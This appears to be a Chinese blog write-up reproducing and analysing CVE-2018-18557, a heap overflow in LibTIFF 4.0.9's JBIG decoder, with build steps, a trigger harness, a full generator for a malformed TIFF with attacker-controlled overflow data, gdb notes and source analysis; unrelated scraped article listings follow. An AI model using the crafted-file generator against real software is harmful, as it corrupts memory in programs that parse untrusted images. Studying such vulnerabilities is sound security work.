前言

cve描述

LibTIFF 4.0.9 (with JBIG enabled) decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size, which leads to a tif_jbig.c JBIGDecode out-of-bounds write.

该cve发生在LibTIFF 4.0.9版本中,由于在解码JBIG的时候没有对size 进行验证,在JBIGDecode函数中会造成大量数据的堆溢出

编译安装

为了复现该漏洞,需要使得LibTIFF 支持jbig解码功能,所以需要先安装libjbig-dev

sudo apt-get install libjbig-dev

然后编译安装LibTIFF 4.0.9,链接在此

./configure --prefix=/xxxx/xxx/build

make && make install

tiff文件格式

TIFF是Tagged Image File Format的缩写 , 标签图像文件格式

TIFF与其他文件格式最大的不同在于除了图像数据,它还可以记录很多图像的其他信息。它记录图像数据的方式也比较灵活, 理论上来说, 任何其他的图像格式都能为TIFF所用, 嵌入到TIFF里面。比如JPEG, Lossless JPEG, JPEG2000和任意数据宽度的原始无压缩数据都可以方便的嵌入到TIFF中去。由于它的可扩展性, TIFF在数字影响、遥感、医学等领域中得到了广泛的应用。TIFF文件的后缀是.tif或者.tiff

Tiff的结构大概是这样的组成:

文件头信息区(IFH)、图像文件目录(IFD)和图像数据区

而IFD又包含了很多DE( Directory Entry )

简单的说,IFD用于存储描述图像的属性信息,如图像的 长、宽、分辨率等 ,DE就是一个个不同属性描述。而图像数据区则直接存储像素信息的二进制数据

这里只做简单介绍,详细可见: https://www.jianshu.com/p/ff32eb09ed3d

可以下载他的tiff例子,载入010editor中跟着看,对了解tiff非常有帮助

触发漏洞

参考了一波 https://www.exploit-db.com/exploits/45694

但发现这上面所谓的poc,只能说是一个用于生成触发漏洞tiff文件的代码而已,那具体怎么使用libtiff的代码才能触发漏洞,这还得俺自己动手写

通过调试+源码查看,分析函数调用,真正的poc如下

#include
#include "tiffio.h" int main(int argc, char const *argv[])
{
if (argc<2)
{
printf("usage: %s \n",argv[0]);
return -1;
} TIFF* tif = TIFFOpen(argv[1], "r");
if (tif) {
tdata_t buf;
tstrip_t strip; buf = _TIFFmalloc(TIFFStripSize(tif));
for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);
puts("it will crash,because heap space has been overflow:\n");
_TIFFfree(buf);//<<< crash! TIFFClose(tif);
}
}
//gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

编译poc:

gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

这里 使用局部静态链接,只静态链接libtiff,而对其他库如libjbig、libmath、zlibc等使用动态链接,这是为了在调试的时候能直接源码级调试

然后编译exp-db的“testcase_generator.c”

gcc testcase_generator.c -g -o testcase_generator -ljbig

#include
#include
#include
#include
#include "jbig.h" void output_bie(unsigned char *start, size_t len, void *file)
{
fwrite(start, 1, len, (FILE *) file); return;
} int main(int argc, char**argv)
{
FILE* inputfile = fopen(argv[1], "rb");
FILE* outputfile = fopen(argv[2], "wb"); // Write the hacky TIF header.
unsigned char buf[] = {
0x49, 0x49, // Identifier.
0x2A, 0x00, // Version.
0xCA, 0x03, 0x00, 0x00, // First IFD offset.
0x32, 0x30, 0x30, 0x31,
0x3a, 0x31, 0x31, 0x3a,
0x32, 0x37, 0x20, 0x32,
0x31, 0x3a, 0x34, 0x30,
0x3a, 0x32, 0x38, 0x00,
0x38, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00
};
fwrite(&(buf[0]), sizeof(buf), 1, outputfile); // Read the inputfile.
struct stat st;
stat(argv[1], &st);
size_t size = st.st_size;
unsigned char* data = malloc(size);
fread(data, size, 1, inputfile); // Calculate how many "pixels" we have in the input.
unsigned char *bitmaps[1] = { data };
struct jbg_enc_state se; jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
jbg_enc_out(&se);
jbg_enc_free(&se); // The raw JBIG data has been written, now write the IFDs for the TIF file.
unsigned char ifds[] = {
0x0E, 0x00, // Number of entries. +0 0xFE, 0x00, // Subfile type. +2
0x04, 0x00, // Datatype: LONG. +6
0x01, 0x00, 0x00, 0x00, // 1 element. +10
0x00, 0x00, 0x00, 0x00, // 0 +14
0x00, 0x01, // IMAGE_WIDTH +16
0x03, 0x00, // Datatype: SHORT. +18
0x01, 0x00, 0x00, 0x00, // 1 element. +22
0x96, 0x00, 0x00, 0x00, // 96 hex width. +26
0x01, 0x01, // IMAGE_LENGTH +28
0x03, 0x00, // SHORT +30
0x01, 0x00, 0x00, 0x00, // 1 element +34
0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
0x02, 0x01, // BITS_PER_SAMPLE +40
0x03, 0x00, // SHORT +42
0x01, 0x00, 0x00, 0x00, // 1 element +46
0x01, 0x00, 0x00, 0x00, // 1 +50
0x03, 0x01, // COMPRESSION +52
0x03, 0x00, // SHORT +54
0x01, 0x00, 0x00, 0x00, // 1 element +58
0x65, 0x87, 0x00, 0x00, // JBIG +62
0x06, 0x01, // PHOTOMETRIC +64
0x03, 0x00, // SHORT +66
0x01, 0x00, 0x00, 0x00, // 1 element +70
0x00, 0x00, 0x00, 0x00, // / +74
0x11, 0x01, // STRIP_OFFSETS +78
0x04, 0x00, // LONG +80
0x13, 0x00, 0x00, 0x00, // 0x13 elements +82
0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86
0x15, 0x01, // SAMPLES_PER_PIXEL +90
0x03, 0x00, // SHORT +92
0x01, 0x00, 0x00, 0x00, // 1 element +94
0x01, 0x00, 0x00, 0x00, // 1 +98
0x16, 0x01, // ROWS_PER_STRIP +102
0x04, 0x00, // LONG +104
0x01, 0x00, 0x00, 0x00, // 1 element +106
0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110
0x17, 0x01, // STRIP_BYTE_COUNTS +114
0x04, 0x00, // LONG +116
0x13, 0x00, 0x00, 0x00, // 0x13 elements +118
0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
0x1A, 0x01, // X_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 element
0x1C, 0x00, 0x00, 0x00,
0x1B, 0x01, // Y_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 Element
0x24, 0x00, 0x00, 0x00,
0x28, 0x01, // RESOLUTION_UNIT
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // 2
0x0A, 0x01, // FILL_ORDER
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // Bit order inverted.
0x00, 0x00, 0x00, 0x00 }; // Adjust the offset for the IFDs.
uint32_t ifd_offset = ftell(outputfile);
fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
fseek(outputfile, 4, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); // Adjust the strip size properly.
fseek(outputfile, ifd_offset + 118, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); fclose(outputfile);
fclose(inputfile);
return 0;
}

它主要的作用是生成一个可发生堆溢出的tiff文件,且溢出内容可以由我们控制,如创建一个文本文件text,其内容大量填充为aaaa...

执行./testcase_generator text testcase.tif

这就会使得大量aaa数据通过JBIG压缩方式被写入testcase.tif文件中

接着执行poc:

./poc ./testcase.tif

成功触发漏洞:

这里报错是,free的时候发现该chunk的next size位异常,这种情况实际上是因为堆溢出太多数据,导致后续free的时候很多chunk被溢出篡改了数据,所以产生了这种报错

漏洞分析

gdb调试

根据cve信息,我这里直接定位到 JBIGDecode函数,给他整个断点

然后一步步nextcall

直到执行_TIFFmemcpy

可以看到这个第三个参数就尼玛离谱,完全没有任何检查,该长度就是之前的text文本文件中的字符数量,也就是字符a的个数

然后来康康这个堆空间0x657b60的大小,只有0xb30

_TIFFmemcpy的length是0x26d0,巨大的堆溢出就是这么产生的

源码分析

从poc.c结合libtiff来康康完整的函数调用链:

首先是TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);

在源码中,TIFFReadEncodedStrip会调用JBIGDecode函数

TIFFReadEncodedStrip(TIFF* tif, uint32 strip, void* buf, tmsize_t size)
{
static const char module[] = "TIFFReadEncodedStrip";
TIFFDirectory *td = &tif->tif_dir;
tmsize_t stripsize;
uint16 plane; stripsize=TIFFReadEncodedStripGetStripSize(tif, strip, &plane);
if (stripsize==((tmsize_t)(-1)))
return((tmsize_t)(-1)); /* shortcut to avoid an extra memcpy() */
if( td->td_compression == COMPRESSION_NONE &&
size!=(tmsize_t)(-1) && size >= stripsize &&
!isMapped(tif) &&
((tif->tif_flags&TIFF_NOREADRAW)==0) )
{
if (TIFFReadRawStrip1(tif, strip, buf, stripsize, module) != stripsize)
return ((tmsize_t)(-1)); if (!isFillOrder(tif, td->td_fillorder) &&
(tif->tif_flags & TIFF_NOBITREV) == 0)
TIFFReverseBits(buf,stripsize); (*tif->tif_postdecode)(tif,buf,stripsize);
return (stripsize);
} if ((size!=(tmsize_t)(-1))&&(sizetif_decodestrip)(tif,buf,stripsize,plane)<=0)//调用JBIGDecode
return((tmsize_t)(-1));
(*tif->tif_postdecode)(tif,buf,stripsize);
return(stripsize);
}

这里没有明显出现JBIGDecode函数名,但其实是用了函数指针的方法调用的

在TIFFInitJBIG函数中声明了该函数指针:

int TIFFInitJBIG(TIFF* tif, int scheme)
{
assert(scheme == COMPRESSION_JBIG); /*
* These flags are set so the JBIG Codec can control when to reverse
* bits and when not to and to allow the jbig decoder and bit reverser
* to write to memory when necessary.
*/
tif->tif_flags |= TIFF_NOBITREV;
tif->tif_flags &= ~TIFF_MAPPED; /* Setup the function pointers for encode, decode, and cleanup. */
tif->tif_setupdecode = JBIGSetupDecode;
tif->tif_decodestrip = JBIGDecode;//<<<声明
tif->tif_setupencode = JBIGSetupEncode;
tif->tif_encodestrip = JBIGEncode; return 1;
}

最后来看JBIGDecode函数

static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
struct jbg_dec_state decoder;
int decodeStatus = 0;
unsigned char* pImage = NULL;
(void) size, (void) s; if (isFillOrder(tif, tif->tif_dir.td_fillorder))
{
TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
} jbg_dec_init(&decoder); #if defined(HAVE_JBG_NEWLEN)
jbg_newlen(tif->tif_rawdata, (size_t)tif->tif_rawdatasize);
#endif /* HAVE_JBG_NEWLEN */ decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
(size_t)tif->tif_rawdatasize, NULL);
if (JBG_EOK != decodeStatus)
{
TIFFErrorExt(tif->tif_clientdata,
"JBIG", "Error (%d) decoding: %s",
decodeStatus,
#if defined(JBG_EN)
jbg_strerror(decodeStatus, JBG_EN)
#else
jbg_strerror(decodeStatus)
#endif
);
jbg_dec_free(&decoder);
return 0;
} pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
jbg_dec_free(&decoder);
return 1;
} _TIFFmemcpy(void* d, const void* s, tmsize_t c)
{
memcpy(d, s, (size_t) c);
}

可以看到,这里对jbg_dec_getsize(&decoder)的返回值是完全没有检查的,而该函数是直接封装到libjbig中的,它会直接从tiff文件中读取长度,因此过长的长度也不会被检查出来,由此引发堆溢出的漏洞

分析CVE-2018-18557与复现的更多相关文章

  1. 九省联考 2018 Day 1 复现

    前言 今年省选还有 15 天.每天针对性刷题学知识点有点枯燥,想到真题还没刷,就对着 pdf 做了一遍. A. 一双木棋 去年省选得了 25,应该是 \(n=2,m=2\) 的贪心和 \(m=1\) ...

  2. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  3. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  4. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  5. Response.Redirect引起的性能问题分析

    现象: 最近做的一个系统通过单点登录(SSO) 技术验证用户登录.用户在SSO 系统上通过验证后,跳转到该系统的不同模块.而跳转的时间一直维持子啊几分钟左右. 分析步骤: 在问题复现时抓取Hang d ...

  6. 一个由Response.Redirect 引起的性能问题的分析

    现象: 某系统通过单点登录(SSO) 技术验证用户登录.用户在SSO 系统上通过验证后,跳转到某系统的主页上面.而跳转的时间很长,约1分钟以上. 分析步骤: 在问题复现时抓取Hang dump 进行分 ...

  7. 教你用ActiveReports分析京东双十一数据的价值

    随着双十一购物盛会落下帷幕,各大电商平台纷纷公布出自己今年的成绩.与其它同行不同的是,京东除了公布1598亿的线上下单金额,还公布了线上线下融合的战果. 面对京东线上.线下海量数据源,我们该如何进行整 ...

  8. 世界杯:用Python分析热门夺冠球队-(附源代码)

    2018年,火热的世界杯即将拉开序幕.在比赛开始之前,我们不妨用 Python 来对参赛队伍的实力情况进行分析,并大胆的预测下本届世界杯的夺冠热门球队. 通过数据分析,可以发现很多有趣的结果,比如: ...

  9. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  10. Android闪屏问题的分析思路

    http://www.devba.com/index.php/archives/6157.html  Android闪屏问题的分析思路 作者:孤风一剑   发布:2015-01-22 12:35   ...

随机推荐

  1. js对象数组多字段排序

    来源:js对象数组按照多个字段进行排序 一.数组排序 Array.sort()方法可以传入一个函数作为参数,然后依据该函数的逻辑,进行数组的排序. 一般用法:(数组元素从小大进行排序) var a = ...

  2. 使用Python 爬取 京东 ,淘宝。 商品详情页的数据。(避开了反爬虫机制)

    以下是爬取京东商品详情的Python3代码,以excel存放链接的方式批量爬取.excel如下 代码如下 from selenium import webdriver from lxml import ...

  3. markdown mermaid流程图

    流程图 所有流程图都由节点.几何图像.箭头或线条组成. mermaid代码定义了这些节点和边的制作和交互方式.可以有不同的箭头类型.多向箭头以及与子图的连接. 节点 节点 flowchart LR i ...

  4. 浅解XXE与Portswigger Web Sec

    XXE与Portswigger Web Sec ​ 相关链接: ​ 博客园 ​ 安全脉搏 ​ FreeBuf 简介XML XML,可扩展标记语言,标准通用标记语言的子集.XML的简单易于在任何应用程序 ...

  5. 《剑指offer》面试题41. 数据流中的中位数

    问题描述 如何得到一个数据流中的中位数?如果从数据流中读出奇数个数值,那么中位数就是所有数值排序之后位于中间的数值.如果从数据流中读出偶数个数值,那么中位数就是所有数值排序之后中间两个数的平均值. 例 ...

  6. 简述ASP.NET网站开发步骤

    新建解决方案 清除解决方案 重新生成解决方案 发布应用程序 设置配置文件 重命名配置文件 发布后生成的文件 IIS安装 安装完成后,输入http://localhost/出现 打开IIS 添加自己的网 ...

  7. Qt之QFileDialog

    widget.h: #ifndef WIDGET_H #define WIDGET_H #include <QWidget> #include<QString> class W ...

  8. MySQL基本使用(开机自启动-环境变量-忘记密码-统一编码)

    目录 一:mysql简介 1.什么是MySQL? 2.MySQL的本质 3.MySQL的特点与优势 二:基本操作命令 1.登录服务端 2.2.结束符c 3.查看当前所有的库名称 4.取消之前的命令 5 ...

  9. Java多线程专题6: Queue和List

    合集目录 Java多线程专题6: Queue和List CopyOnWriteArrayList 如何通过写时拷贝实现并发安全的 List? CopyOnWrite(COW), 是计算机程序设计领域中 ...

  10. Execution default-resources of goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resources failed.

    说明 今天发现这个错误,然后整体检查了一下代码,没有发现任何错误,最后没法只有来一步一步排查. 解决 确定pom文件是否有问题 如上图,有红色波浪线,代表错误,请检查并解决,还有版本是否冲突,最好把不 ...